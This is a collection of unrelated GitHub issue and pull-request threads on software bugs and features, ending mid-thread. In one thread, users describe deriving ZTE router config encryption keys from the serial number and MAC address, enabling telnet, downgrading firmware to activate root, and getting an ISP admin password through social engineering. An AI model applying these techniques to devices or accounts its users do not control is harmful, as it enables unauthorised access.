/tekton/debug scripts absent after step has failed

Expected Behavior
Debug scripts should be found under /tekton
Actual Behavior
No debug sub folder under /tekton
Steps to Reproduce the Problem

Start minikube minikube start -p tekton
install pipeline: kubectl apply --filename https://storage.googleapis.com/tekton-releases/pipeline/latest/release.yaml
activate alpha fields: kubectl path cm/feature-flags -p "{\"data\":{\"enable-api-fields\":\"alpha\"}}"
create namespace: kubectl create ns demo
set default ns: kubens demo
create task from payload:

apiVersion: tekton.dev/v1beta1
kind: Task
metadata:
  name: echo
spec:
  steps:
    - name: step1
      image: fedora
      command:
      - /bin/bash
      args: ['-c', 'echo hello world']
    - name: step2
      image: fedora
      command:
        - /bin/bas
      args: ['-c', 'echo hello world']
    - name: step3
      image: fedora
      command:
        - /bin/bash
      args: ['-c', 'echo hello world']

create taskrun from payload:

apiVersion: tekton.dev/v1beta1
kind: TaskRun
metadata:
  name: echo-run
spec:
  debug:
    breakpoint: [onFailure]
  taskRef:
    kind: Task
    name: echo
  timeout: 1h0m0s

wait until echor-run-pod-xxx is NotReady
run exec echo-run-pod-f4mln -c step-step2 -- ls /tekton

Additional Info

Kubernetes version:
Output of kubectl version:

 Client Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.1", GitCommit:"632ed300f2c34f6d6d15ca4cef3d3c7073412212", GitTreeState:"clean", BuildDate:"2021-08-19T15:45:37Z", GoVersion:"go1.16.7", Compiler:"gc", Platform:"windows/amd64"}
Server Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.1", GitCommit:"632ed300f2c34f6d6d15ca4cef3d3c7073412212", GitTreeState:"clean", BuildDate:"2021-08-19T15:39:34Z", GoVersion:"go1.16.7", Compiler:"gc", Platform:"linux/amd64"}

Tekton Pipeline version:
Output of tkn version or kubectl get pods -n tekton-pipelines -l app=tekton-pipelines-controller -o=jsonpath='{.items[0].metadata.labels.version}'
v0.27.3

/tekton/debug is absent along with /tekton/scripts.
debug is implemented based on how the scripts is mounted
https://github.com/tektoncd/pipeline/commit/5a4d1f990e6bf6c661ee646f5b3aa8a9fceb13c7#diff-82b3e87876a8c03277b96958e0bbae05eda555b2196a54b02115a3268095fe31R144-R148
@sbwsg after you implemented encoding the scripts, should we expect to see the scripts volume mounted at /tekton/scripts? I am not able to recall.
scripts volume exist with Pipeline 0.25:
+ ls /tekton/
creds
downward
home
results
scripts
termination
tools

@vdemeester @waveywaves we could leverage the steps volume instead of /tekton/debug now that its missing, thoughts?

I just created a taskRun without debug using the latest pipeline release, and noticed that the /tekton/scripts mount exists. But creating a taskRun with debug using the latest pipeline, noticed both /tekton/scripts and /tekton.debug mounts are absent.

/assign

/assign

I am testing this by building pipeline from the latest commit on main and I see the following

everything seems in order with the mounts  /tekton/debug and /tekton/scripts mounts. I do not see missing mounts with or without debug (have alpha feature flag enabled during both tests)
tools is replaced with run now (new to me)
/tekton/debug/scripts/debug-continue and /tekton/debug/scripts/debug-fail-continue scripts aren't working because the postfile for exiting the breakpoint which the script is expecting looks like /tekton/run/0.breakpointexit now needs to look like /tekton/run/0/out.breakpointexit.
Same goes for the postfile for marking the step as a success or failure. The script is writing a postfile which looks something like /tekton/run/0 and /tekton/run/0.err (for success and failure respectively. Which should instead be /tekton/run/0/out and /tekton/run/0/out.err

I think the changes here are likely a result of 0fcdd3962fd611aff512cc56cbf1fb9e73116855 where the /tekton/tools directory was replaced with /tekton/bin for tekton-supplied binaries and /tekton/run for runtime information and a result of 00f7cc6f211938693567d7b695820267b0fced40 where the /tekton/run directory was segmented into multiple volumes so that each step can only affect its own runtime information. These were both done as part of a process of better securing internal step state.
@waveywaves also might be worth taking a look at https://github.com/tektoncd/pipeline/pull/4352 to see if any changes there are likely to affect the debug scripts too?

@sbwsg Thanks for the info it was helpful to go through those PRs. I have just created https://github.com/tektoncd/pipeline/issues/4422 to track changes that need to made after further changes to /tekton/steps.


Pgcopy stream review

[x] Adding tests
[x] New rate limits endpoints
[x] Solve bodyParser problem
[x] Minor ES6 changes

I don't like my solution to bodyParser problem moving bodyParser to the routes of query and job controllers.
I had thought of using 2 express Router to solve it: a router to query and job controllers with the current bodyParser and another router to copy controller. But it is not possible due to the routes definition, all of the query and job controllers start with /sql but we have /jobs-wip...
And I don't see any other solution. If someone has another, ping me

Why don't you like your solution? so much of other policy is per-controller, it actually seemed odd to me when I found it that this one piece of policy was global.

I would prefer not to repeat the code. But it is not bad as is

👍

I have changed the multer by busboy in multipart requests. I'm not completely sure, but I'm pretty sure about it.

Before merging it, we want to make an acceptance. Tomorrow I will put this branch on staging server.

As I've picked up the problem of GDAL support for /copy, my decision to use multipart/form-data for the file upload is bugging me (because libcurl support for it is pretty thin). Using multipart/form-data does allow both the sql and file parameters to be in the POST body, which is nice, but it's not required. If the sql parameter was in the URL, then the body could just be the file content, and sent up via a Chunked transfer encoding. Data would still be streaming, and it would probably be easier to stream data for which you do not know the file size a priori. (One of the issues in libcurl is that you cannot stream a file in multipart/form-data without knowing its size in advance.) For OGR, being able to stream w/o knowing the size would be handy, since you don't know the size of the eventual output while iterating the input records. cc/ @rafatower

This branch is deployed to staging cloud

Taking into account Paul's comment I'd hold the release of this and give a try to chunked encoding because of two main reasons:

the need of knowing the size a priori can be a limitation not just to ogr2ogr and the underlying libcurl but to other clients.
this decision affects the API (and also, potentially, how limits are implemented)

cc/ @rochoa

OK, I flipped the implementation to accept a chunked POST instead, in #487, which I guess should be merged here, after some help from @oleurud on getting the tests running again (not sure how to post the file data in the test framework).


Remove em function

The em function will be removed in Bourbon 5.0 and it’s also no longer necessary to define media queries in em’s. This article originally explained why em’s resolved weird zooming issues; but that’s no longer true and even the article was updated to indicate so.

I'm all for the more obvious sizes :+1:
Is there a reason you chose those breakpoints specifically? The old values aren't as useful these days, I'm just curious.

No reason; totally made up.
I assume people adjust these per-project…

:+1:

Why not just remove these?

I like having them in. Even though they are usually changed, I almost always end up having some sort of medium and large breakpoint, and I would just end up adding my own again if we took them out.

dooooooooo iiiiiiiiiitt


Send Base64 file more than 1MB

Hi,
I have a singleton of subclass AFHTTPSessionManager. I send base64 files and works fine but only if are less 1 Megabyte. For files more than 1 MB I get the following error:
Any ideas?
Thanks in advance.
Test Error Domain=com.alamofire.error.serialization.response Code=-1011 "Request failed: internal server error (500)" UserInfo=0x7fc61500c300 {com.alamofire.serialization.response.error.response=<NSHTTPURLResponse: 0x7fc615045d40> { URL: https://dif...... } { status code: 500, headers {
"Cache-Control" = private;
"Content-Length" = 587;
"Content-Type" = "application/json; charset=utf-8";
Date = "Thu, 19 Feb 2015 11:52:48 GMT";
Server = "Microsoft-IIS/7.5";
"X-AspNet-Version" = "2.0.50727";
"X-Powered-By" = "ASP.NET";
jsonerror = true;
} }, NSErrorFailingURLKey=https://dif ......., com.alamofire.serialization.response.error.data=<7b224d65 etc .....>

"Request failed: internal server error (500)" signalises error in the server you are sending data to - perhaps some restrictions on file size.

.@infimache is correct. A 500 error indicates failure on the server, not the client.
For usage questions like this, please ask on Stack Overflow.

ok thanks you all.


docs(playwrighttesting): unsupported markdown format in url

Packages impacted by this PR
@azure/microsoft-playwright-testing
Issues associated with this PR
Unsupported markdown format in generated package docs.
Describe the problem that is addressed by this PR
What are the possible designs available to address the problem? If there are more than one possible design, why was the one in this PR chosen?
Are there test cases added in this PR? (If not, why?)
Provide a list of related PRs (if any)
Command used to generate this PR:**(Applicable only to SDK release request PRs)
Checklists

[ ] Added impacted package name to the issue description
[ ] Does this PR needs any fixes in the SDK Generator?** (If so, create an Issue in the Autorest/typescript repository and link it here)
[ ] Added a changelog (if necessary)

API change check
API changes are not detected in this pull request.


Added v1.10.0 CHANGELOG draft

Looks good though I've made a few minor changes and I am happy with it now. @philippjfr if you approve, please go ahead and merge.

The Chord entry should also move to the new components section.


Add new models

This PR adds 4 new models (optimized default / art / entertainment / science) published by authors of pkuseg to be downloaded and used by users.
It seems that the authors of the original repo have not replied to issues or pull requests for some time, so I decided to send the PR here.

Hi, thanks for the PR! Is there any more information about these releases, or do you know anything about why they weren't added to a pkuseg release as downloads?

These models are published in releases of the original repo only, but the configuration file for downloads are not updated accordingly. I'm not sure about the reason, and the authors seem to not have time to reply to questions or issues. Perhaps they are simply too busy working on other projects.

You should be able to load it directly from a path without any hacking/renaming:
nlp = spacy.blank(
    "zh",
    config={
        "nlp": {"tokenizer": {"segmenter": "pkuseg"}},
        "initialize": {"tokenizer": {"pkuseg_model": "/tmp/science"}},
    },
)
# reads in tokenizer data from path
nlp.initialize()

where I've unpacked science.zip into /tmp/science. It will show a warning, but it can still read the .pkl format as a fallback.
From this point on the model is saved with the spacy pipeline (with nlp.to_disk) so you don't need the path anymore.

@adrianeboyd Great!

So I don't really think these links need to be added? But if they're added to pkuseg we can add them, too.

@adrianeboyd 🆗


Add reference implementation for DokanNotify* to mirror-sample

These changes add a reference-implementation for the file-change notifications API added with Dokan 1.3.0 to the mirror-sample.
Further, I also included a fix to a the missing EnableNotificationAPI -flag like I mentioned in https://github.com/dokan-dev/dokan-dotnet/pull/236#issuecomment-538937630

@Lukas0610 😃 That's really awesome ! I wasn't expecting to have mirror FileSystemWatcher  contribution so fast 🏆
You rock 🎸


Deploy GitHub pages

Deploy the portfolio over GitHub pages using Jekyll

Approved ✔
Hi @jaferIdrees
Congratulations on completing this project! 👏🏼 🎉
You have correctly implemented all of the requirements📃 correctly and without any errors⚠ or bugs🪲.
Cheers and good luck in your next milestones! 🍀
Feel free to leave any questions or comments in the PR thread(don't forget to tag me 😄) if something is not 100% clear.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


Clinic v0.6.2 / Node v8.9.4: Error: Invalid JSON (Unexpected "p" at position 24584 in state STOP)

This pops up after hanging at 'analyzing data' for a few seconds:
analysing data
events.js:183
      throw er; // Unhandled 'error' event
      ^

Error: Invalid JSON (Unexpected "p" at position 24584 in state STOP)
    at Parser.proto.charError (/home/aaron/code/mspdna-ssh/node_modules/jsonparse/jsonparse.js:90:16)
    at Parser.proto.write (/home/aaron/code/mspdna-ssh/node_modules/jsonparse/jsonparse.js:154:23)
    at Stream.<anonymous> (/home/aaron/code/mspdna-ssh/node_modules/JSONStream/index.js:21:12)
    at Stream.stream.write (/home/aaron/code/mspdna-ssh/node_modules/through/index.js:26:11)
    at TraceEventDecoder._transform (/home/aaron/code/mspdna-ssh/node_modules/@nearform/clinic-doctor/format/trace-event-decoder.js:114:19)
    at TraceEventDecoder.Transform._read (_stream_transform.js:186:10)
    at TraceEventDecoder.Transform._write (_stream_transform.js:174:12)
    at doWrite (_stream_writable.js:387:12)
    at writeOrBuffer (_stream_writable.js:373:5)
    at TraceEventDecoder.Writable.write (_stream_writable.js:290:11)
19:12:39 ⌂131% [aaron@ripley:~/code/mspdna-ssh] [mspdna] develop(+2861/-42)* 1 ±

The instructions say it would be super helpful if I tell clinic to upload some data to the cloud to help with debugging.  I'm hesitant to do that on a private project that has SSH keys loaded into memory.  What's "the cloud", where's the data going, and who gets to see it?  ;)

Properly this is because you use Node v8.9.4. There are some issues with Node v8.9.4 that will be fixed in Node 8.10.0. Unfortunately, that hasn't been released yet. Please try Node v9.4.0 and see if that helps.

What's "the cloud", where's the data going, and who gets to see it? ;)

The cloud is our Amazon server that is in the US (@mafintosh confirm please) and only the clinic team gets to see it.
I think the more important question is what gets uploaded. There are three files, the information is not sensitive at all. The upload code is in https://github.com/nearform/node-clinic/blob/master/lib/tar-and-upload.js you can confirm yourself that it only uploads the clinic data. The clinic data itself contains three files:

{pid}.clinic-doctor-traceevent: A JSON file containing GC data and execution timing data (inspect it yourself). This is also the file that is partial.
{pid}.clinic-doctor-systeminfo: A JSON file (inspect it yourself).
{pid}.clinic-doctor-processstat: A protocol buffer file, containing samples of memory usage, cpu usage, delay, and number of handles. You can see the schema here: https://github.com/nearform/node-clinic-doctor/blob/master/format/process-stat.proto

Thanks @AndreasMadsen.  I updated to Node 9.5.0 simply because that was the latest version in the 9x tree from nodesource.  Let me know if I need to specifically downgrade to 9.4.0 for testing and I'll do it.
I was testing with the 'ssh module' component of my stack earlier, but moved on to doing some work on the 'receiver module' late yesterday, so I decided to test clinic with it.
I got a similar error:
^Canalysing data
events.js:137
      throw er; // Unhandled 'error' event
      ^

Error: Unexpected LEFT_BRACE("{") in state KEY
    at Parser.proto.parseError (/home/aaron/code/mspdna-receiver/node_modules/jsonparse/jsonparse.js:321:16)
    at Parser.proto.onToken (/home/aaron/code/mspdna-receiver/node_modules/jsonparse/jsonparse.js:391:19)
    at Parser.parser.onToken (/home/aaron/code/mspdna-receiver/node_modules/JSONStream/index.js:126:12)
    at Parser.proto.write (/home/aaron/code/mspdna-receiver/node_modules/jsonparse/jsonparse.js:134:28)
    at Stream.<anonymous> (/home/aaron/code/mspdna-receiver/node_modules/JSONStream/index.js:21:12)
    at Stream.stream.write (/home/aaron/code/mspdna-receiver/node_modules/through/index.js:26:11)
    at TraceEventDecoder._transform (/home/aaron/code/mspdna-receiver/node_modules/@nearform/clinic-doctor/format/trace-event-decoder.js:114:19)
    at TraceEventDecoder.Transform._read (_stream_transform.js:185:10)
    at TraceEventDecoder.Transform._write (_stream_transform.js:173:12)
    at doWrite (_stream_writable.js:407:12)
10:00:42 ⌂115% [aaron@ripley:~/code/mspdna-receiver] [mspdna] develop(+2570/-170)* 1 ± node --version
v9.5.0

The single run of clinic produced 10 .clinic-doctor folders.  Running clinic upload suggests I run clinic upload 13242.clinic-doctor.  That folder doesn't exist, so I think the text is just an example.  If it's tracking a 'last run' or something, then it mis-detected it.
I'm guessing the multiple folders are for each process spawned by the cluster module which I was using in both my ssh module and receiver module.  I decided now would be a good time to migrate away from it, so I ripped it out and I can't seem to duplicate any of the errors.  But the end result is a report that says there was an unknown issue.

I'm going to rip the cluster module out of my ssh module and try testing again with that.  When I ran clinic against my ssh module I was able to get a report back occasionally with an event loop delay when my box was under a ton of load.

ahhhh so this tells me we need to either

Support the cluster module
Be explicit that node-clinic is for single process profiling (as is clinic flame/0x and I assume our additional upcoming tools)

In the second case we could detect usage of the cluster module and then exit with an error

After hammering away without the cluster module, I can't seem to hit any errors in my ssh module.  In my receiver module which is basically an express app that received large (up to ~2 MB) chunks of JSON data, clinic continually reports that "Unknown issue" from the screenshot.  Any idea what that might be?

oh that's awesome - the unknown issue means you've either found a new problem or you've found an edge case that we could use to tune our statistical algorithms. Can you provide an isolated case?

Sure--you want me to run it and upload the data?  Or are you asking if I might have an idea of what the unknown issue is?

Uploaded: ce48307f83bee7e5cc865e20109f1d77b18b2e847f9cd06c25e2852a5e98cbf2

I looked at the data, it appears that you have both an I/O issue and a GC issue. So that is confusing our classifier a bit.
Regarding the cluster issue, in terms of supporting clusters there are two options:

we can just profile the master process (easy, but properly not what you want)
we can profile all processes (also easy, but requires https://github.com/nodejs/node/pull/18480) – What will be confusing is that by default the master process will be analyzed, so the user will have to manually call clinic doctor --visualize-only pid.clinic-doctor to analyze the other processes.

Ref: https://github.com/nearform/node-clinic-doctor/issues/102 (cluster issue)

Node 8.10.0 has been released and clinic seems to run great on it. The cluster issue is still relevant.

@mafintosh The https://github.com/nodejs/node/issues/14802 issue is also still relevant and could be the cause of some of these issues.

Similar issue on v9.11.1 using the Node-DC-EIS workload.
(23:12:38) jamie@woody ~/Desktop/node-profiling/benchmarks/node-dc/Node-DC-EIS/Node-DC-EIS-cluster $ export CPU_COUNT=1; ~/Desktop/floss/node-clinic/bin.js doctor -- node server-cluster.js
Warning: Trace event is an experimental feature and could change at any time.
********************************
Server running at port: 9000
********************************
Setting up cluster with 1 Master (pid: 8843) and 1 workers..
Warning: Trace event is an experimental feature and could change at any time.
Worker:8854 is online
(node:8854) DeprecationWarning: `open()` is deprecated in mongoose >= 4.11.0, use `openUri()` instead, or set the `useMongoClient` option if using `connect()` or `createConnection()`. See http://mongoosejs.com/docs/connections.html#use-mongo-client
Mongoose connected to the database
Constructing list of first names
Constructing list of last names
Constructing list of Addresses
(node:8854) DeprecationWarning: Mongoose: mpromise (mongoose's default promise library) is deprecated, plug in your own promise library instead: http://mongoosejs.com/docs/promises.html
^Canalysing data
events.js:165
      throw er; // Unhandled 'error' event
      ^

Error: Unexpected COMMA(",") in state VALUE
    at Parser.proto.parseError (/home/jamie/Desktop/floss/node-clinic/node_modules/jsonparse/jsonparse.js:321:16)
    at Parser.proto.onToken (/home/jamie/Desktop/floss/node-clinic/node_modules/jsonparse/jsonparse.js:382:19)
    at Parser.parser.onToken (/home/jamie/Desktop/floss/node-clinic/node_modules/JSONStream/index.js:126:12)
    at Parser.proto.write (/home/jamie/Desktop/floss/node-clinic/node_modules/jsonparse/jsonparse.js:139:34)
    at Stream.<anonymous> (/home/jamie/Desktop/floss/node-clinic/node_modules/JSONStream/index.js:21:12)
    at Stream.stream.write (/home/jamie/Desktop/floss/node-clinic/node_modules/through/index.js:26:11)
    at TraceEventDecoder._transform (/home/jamie/Desktop/floss/node-clinic/node_modules/@nearform/clinic-doctor/format/trace-event-decoder.js:114:19)
    at TraceEventDecoder.Transform._read (_stream_transform.js:185:10)
    at TraceEventDecoder.Transform._write (_stream_transform.js:173:12)
    at doWrite (_stream_writable.js:410:12)
Emitted 'error' event at:
    at Parser.parser.onError (/home/jamie/Desktop/floss/node-clinic/node_modules/JSONStream/index.js:140:12)
    at Parser.proto.parseError (/home/jamie/Desktop/floss/node-clinic/node_modules/jsonparse/jsonparse.js:321:8)
    at Parser.proto.onToken (/home/jamie/Desktop/floss/node-clinic/node_modules/jsonparse/jsonparse.js:382:19)
    [... lines matching original stack trace ...]
    at TraceEventDecoder.Transform._write (_stream_transform.js:173:12)

Neither bubbleprof nor doctor support cluster and will now throw an error if cluster.fork() is called.
Therefore I am closing this as resolved.


[FEATURE] ZTE F670L FV9 Support

Description of new feature
I would like the ZTE F670L v9 router to be supported
Describe alternatives you've considered
I have tried using examples/decode.py  config.bin config.xml but I get the following error
< AssertionError on "zcu.zte.read_header(infile)" >
Additional context
Im not sure how this works but similiar utility tools check for this headers
Attach config.bin for your device
I can send it if needed, also got telnet access.

Using 'Felis-Sapiens' script get the following error:
python test.py config.bin conf.xml first version header magic:    0x99999999, 0x44444444, 0x55555555, 0xAAAAAAAA second version header offset:  0x14 third version header offset:   0x40000000 b'' ERROR: failed to read the third version header Traceback (most recent call last):   File "C:\Users\zain\Downloads\Compressed\test.py", line 195, in <module>     main()   File "C:\Users\zain\Downloads\Compressed\test.py", line 192, in main     read_config(args.infile, args.outfile, args.key)   File "C:\Users\zain\Downloads\Compressed\test.py", line 101, in read_config     ver_header_3 = struct.unpack('>2H5I', ver_header_3) struct.error: unpack requires a buffer of 24 bytes

Another way using telnet access:
https://github.com/zainarbani/ztelnet
Tested on ZTE F670L FV9

Another way using telnet access:
https://github.com/zainarbani/ztelnet
Tested on ZTE F670L FV9

Hi, what is the exact procedure you followed with this tool. I have a ZTE F660 v9 router, but this tool is not working for that.

Another way using telnet access:
https://github.com/zainarbani/ztelnet
Tested on ZTE F670L FV9

Hi, what is the exact procedure you followed with this tool. I have a ZTE F660 v9 router, but this tool is not working for that.

You got telnet access?

Another way using telnet access:
https://github.com/zainarbani/ztelnet
Tested on ZTE F670L FV9

Hi, what is the exact procedure you followed with this tool. I have a ZTE F660 v9 router, but this tool is not working for that.

You got telnet access?

I mean the tool you have mentioned above (ztelnet). It's failing 😐. So no telnet access. I asked for the procedure you followed with that tool.

Another way using telnet access:
https://github.com/zainarbani/ztelnet
Tested on ZTE F670L FV9

Hi, what is the exact procedure you followed with this tool. I have a ZTE F660 v9 router, but this tool is not working for that.

You got telnet access?

I mean the tool you have mentioned above (ztelnet). It's failing 😐. So no telnet access. I asked for the procedure you followed with that tool.

Not sure, failing like what?
send log

output should be like this if your router supported

output should be like this if your router supported

Ah then it is not supported.

to enable telnet you can use this python project
https://github.com/douniwan5788/zte_modem_tools

Just so you know and for future reference, is possible to encrypt/decrypt the config.bin for F670L router.
As commented by @zhanshi123 in issue #66

Your key will be the ONT serial number (ZTEGXXXXXXXX - get only last 8 hex characters in uppercase) + MAC address of your ONT (from right to left).

But rather than using the scripts from this repo —at least until payload type 6 gets supported— using the scripts from @ludufre's fork, here.

to add to @macydnah and @zhanshi123 The key is Last 6 hex characters in uppercase + MAC Address From Right To Left in lowercase
Example:
Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7
Mac Address: 08:F6:06:D4:38:F4 => f438d406f608
Key: CF4EF6F7f438d406f608
It take me hours to notice, just in case people have the same problem with me

to add to @macydnah and @zhanshi123 The key is Last 6 hex characters in uppercase + MAC Address From Right To Left in lowercase
Example: Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7 Mac Address: 08:F6:06:D4:38:F4 => f438d406f608 Key: CF4EF6F7f438d406f608
It take me hours to notice that the the mac address supposed to be lowercase, just in case people have the same problem with me

Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7
Bro how did you convert CF28772B => CF4EF6F7 I just cant understand that....

Try this:
https://gist.github.com/zainarbani/723d1387bec9e1559de7a1029d08aa91
python decrypt.py config.bin config.xml --sn ZTEXXXXXXXX --mac xx:xx:xx:xx:xx:xx
Just put your actual MAC/SN,
This is the same code, just standalone decryptor.

to add to @macydnah and @zhanshi123 The key is Last 6 hex characters in uppercase + MAC Address From Right To Left in lowercase
Example: Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7 Mac Address: 08:F6:06:D4:38:F4 => f438d406f608 Key: CF4EF6F7f438d406f608
It take me hours to notice that the the mac address supposed to be lowercase, just in case people have the same problem with me

Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7
Bro how did you convert CF28772B => CF4EF6F7 I just cant understand that....

Try this: https://gist.github.com/zainarbani/723d1387bec9e1559de7a1029d08aa91
python decrypt.py config.bin config.xml --sn ZTEXXXXXXXX --mac xx:xx:xx:xx:xx:xx
Just put your actual MAC/SN, This is the same code, just standalone decryptor.

Thanks bro, It's working for me. Can you provide a tool to reencode?

um what the sigma... why close this? we need support for a usbbak.cfg format? not a config.bin

to add to @macydnah and @zhanshi123 The key is Last 6 hex characters in uppercase + MAC Address From Right To Left in lowercase
Example: Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7 Mac Address: 08:F6:06:D4:38:F4 => f438d406f608 Key: CF4EF6F7f438d406f608
It take me hours to notice that the the mac address supposed to be lowercase, just in case people have the same problem with me

Serial No: XXXXXX-ZTEGCF28772B => CF4EF6F7
Bro how did you convert CF28772B => CF4EF6F7 I just cant understand that....

Try this: https://gist.github.com/zainarbani/723d1387bec9e1559de7a1029d08aa91
python decrypt.py config.bin config.xml --sn ZTEXXXXXXXX --mac xx:xx:xx:xx:xx:xx
Just put your actual MAC/SN, This is the same code, just standalone decryptor.

not working
Detected signature: F670L
Detected payload type 6
MAC: xxxxxxxxxxxxxxxxxx (yes, I put mac address)
S/N: xxxxxxxxxxxxxxxxxx (yes,I put serial number)
Traceback (most recent call last):
File "C:\Users\cyber\OneDrive\Escritorio\zte-config-utility-master\examples\decrypt.py", line 218, in
main()
File "C:\Users\cyber\OneDrive\Escritorio\zte-config-utility-master\examples\decrypt.py", line 204, in main
res, _ = zteCompression.decompress(infile)
File "C:\Users\cyber\OneDrive\Escritorio\zte-config-utility-master\examples\decrypt.py", line 140, in decompress
aes_header = struct.unpack('>3I', infile.read(12))
struct.error: unpack requires a buffer of 12 bytes

Totally noob question but
Where I can find the config.xml file?

You can export the settings of your router by going in Management and
Diagnostics, and then System Management and then you can export afaik
Regards
TechySkills
On Thu, Sep 12, 2024 at 4:35 AM Mesier83 @.***> wrote:

Totally noob question but
Where I can find the config.xml file?
—
Reply to this email directly, view it on GitHub
https://github.com/mkst/zte-config-utility/issues/52#issuecomment-2344972132,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ATS23JY4733SFIAU6WFRYMDZWDHVPAVCNFSM6AAAAAARR5B4WCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGNBUHE3TEMJTGI
.
 @TravelXtreme

Some ISP disabled export config

bro same issue. lets connect on telegram and get this thing sorted. @TravelXtreme

Downgrade the firmware and  then add or activate root user, most ISP will randomize admin password.

Some ISP disabled export config

bro same issue. lets connect on telegram and get this thing sorted. @TravelXtreme

Downgrade the firmware and then add or activate root user, most ISP will randomize admin password.

bro i need your help asap. lets connect over telegram

Some ISP disabled export config

bro same issue. lets connect on telegram and get this thing sorted. @TravelXtreme

Downgrade the firmware and then add or activate root user, most ISP will randomize admin password.

bro i need your help asap. lets connect over telegram

share your telegram link

my isp also disabled the export config some months ago by a remote update
of firmware. though i have the admin password by some social engineering.
can i also get ur help?
Regards
TechySkills
On Wed, Oct 30, 2024 at 10:33 AM FIRA @.***> wrote:

Some ISP disabled export config [image: image]
https://private-user-images.githubusercontent.com/20891738/367273506-448bbdc0-16ba-4966-b147-4f9d7d5a5736.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzAyNjYzNTIsIm5iZiI6MTczMDI2NjA1MiwicGF0aCI6Ii8yMDg5MTczOC8zNjcyNzM1MDYtNDQ4YmJkYzAtMTZiYS00OTY2LWIxNDctNGY5ZDdkNWE1NzM2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDEwMzAlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQxMDMwVDA1MjczMlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWI5YzhkZjc4OTdmODdjZjRjNzIxOWJhMTE5OWNlMWJjNTI3MWZiZTlhNjllZDNlOWY2NWY3YTIyZjI2YWRmZTcmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.xeipmsv-1cSrn3BaD_Tif6fAz2AFiy_AssTXEbLg7Ak
bro same issue. lets connect on telegram and get this thing sorted.
@TravelXtreme
Downgrade the firmware and then add or activate root user, most ISP will
randomize admin password.
—
Reply to this email directly, view it on GitHub
https://github.com/mkst/zte-config-utility/issues/52#issuecomment-2445900555,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ATS23J4X576DSCWP2HENP4TZ6BVT3AVCNFSM6AAAAAARR5B4WCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDINBVHEYDANJVGU
.
You are receiving this because you commented.Message ID:
@.***>


Duplicated Content-Type header provokes invalid request

Hello, I have a problem the following feature:
  Scenario Outline: The POST Code response (Entity)
    Given I set header "Accept" with value "application/json"
    And  I set header "Content-Type" with value "application/json"
    When I send a POST request to "/api/users" with body:
    """
      <json>
    """
    Then the response code should be 201

    Examples:
      | json                                             |
      | {"first_name" : "Leigh", "last_name" : "Oros"}   |
      | {"first_name" : "Hope", "last_name" : "Perron"}  |
      | {"first_name" : "Allena", "last_name" : "Spece"} |

The test is correct for the first user (Leigh Oros), but the API throws an error for Hope Perron and Allena Speece. After introspecting the http request I detected that the error is triggered by the Accept and Content-Type headers.
For the first users the headers are:

Array
(
    [Host] => localhost
    [Accept] => application/json
    [Content-Type] => application/json
    [User-Agent] => Guzzle/5.3.0 curl/7.38.0 PHP/5.6.15
    [Content-Length] => 205
)

Until now API works correctly and everything is ok.
However, the request for the second user have the following headers

Array
(
    [Host] => localhost
    [Accept] => application/json, application/json
    [Content-Type] => application/json, application/json
    [User-Agent] => Guzzle/5.3.0 curl/7.38.0 PHP/5.6.15
    [Content-Length] => 205
)

And for third user:

Array
(
    [Host] => localhost
    [Accept] => application/json, application/json, application/json
    [Content-Type] => application/json, application/json, application/json
    [User-Agent] => Guzzle/5.3.0 curl/7.38.0 PHP/5.6.15
    [Content-Length] => 205
)

For second and third request, the answer from the API is:
{
  "type":"http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html",
  "title":"Unsupported Media Type",
  "status":415,"detail":"Invalid content-type specified"
}

Cleary the headers are append to the existing ones, even if the value is the same. I was expecting that header would be reset for each Example, but is not the case.
Also I don't think that separating multiple mime times with commas are valid Accept and Content-Type headers.
For instance I have solved the issue checking if the header value is already present before adding it 9c602da70710ac70323e3fb6def4c2936c1e9afe however I'm not shure who's responsability is to check the validity of headers (WebApiExtension, Gizzle, Behat??). If the solution seems correct I want to make a pull request.
Any feedback will be appreciated.

The pull request with my fix : https://github.com/Behat/WebApiExtension/pull/47

Project seems abandoned. Closing issue.


Bug: Duplicated entries in txt database on registration

Somehow the current docker hub version creates two rows in the txt table when registering a new api user which can both contain different values and that leads to two returned txt records which seems to confuse some programs.

When you request a wildcard and a primary domain (e.g. *.example.com and example.com) the app creates 2 TXT record values on purpose so that validation will pass for either variant. Is this what you mean?

I mean that when changing the certificate (for example to add another domain) only one of the records gets updated
b09f887a-9579-4989-a0f5-e02bfa7e1968|Ailm7VzUNU1BZH6QHgqCDJM3yqN_8ILu4r_kyF8YaZw|1603721005
b09f887a-9579-4989-a0f5-e02bfa7e1968|r8DDPpuHjv424EXGNht_iD3QV_kEDeqSLn1Fm4ipTMo|1603721683

which causes validation errors (in cert manager here)

Your app (cert manager) needs to pass the Let's Encrypt validation request details to  acme-dns for each domain entry. So if your cert has 4 domains or subdomains that's 4 updates to acme-dns for 4 different records before the cert request can complete validation. I'd check with the cert-manager folks to ensure their acme-dns support is behaving.


Paginated:  A partial separator line appears on horizontal scroll in multi-select grids

Description
This is a super edge case in multi select grids and more noticeable when you have 2 conditions:

